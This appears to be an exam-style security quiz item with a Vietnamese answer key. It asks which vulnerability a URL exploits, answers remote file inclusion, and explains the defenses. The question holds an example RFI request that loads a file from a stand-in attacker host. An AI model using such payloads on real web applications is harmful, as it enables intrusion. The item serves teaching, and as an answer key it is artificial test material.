An attacker enters the following URL to exploit vulnerabilities in a web application: http://192.168.47.8:76/files/fi/?page=http://malicious.h4cker.org/cookie.html Which type of vulnerability did the attacker try to exploit?

Đáp án đúng: "remote file inclusion". Tham số page trong URL nhận một địa chỉ đầy đủ trỏ tới máy chủ bên ngoài do kẻ tấn công kiểm soát; nếu ứng dụng dùng giá trị này để nạp và thực thi tệp mà không kiểm tra, đó là lỗ hổng chèn tệp từ xa (remote file inclusion, RFI). Phòng thủ bằng danh sách cho phép các trang hợp lệ và tắt khả năng nạp tệp qua URL, như tùy chọn allow_url_include của PHP. "directory traversal" (duyệt thư mục) dùng chuỗi ký tự lùi thư mục để đọc tệp nằm ngoài thư mục web trên chính máy chủ, trong URL này không có chuỗi như vậy. "cookie manipulation" là sửa giá trị cookie để đổi quyền hay phiên; chữ cookie.html ở đây chỉ là tên tệp từ xa. "local file inclusion" cùng cơ chế nạp tệp nhưng tệp nằm sẵn trên máy chủ nạn nhân; vì tệp được trỏ tới một miền bên ngoài nên đây là kiểu từ xa.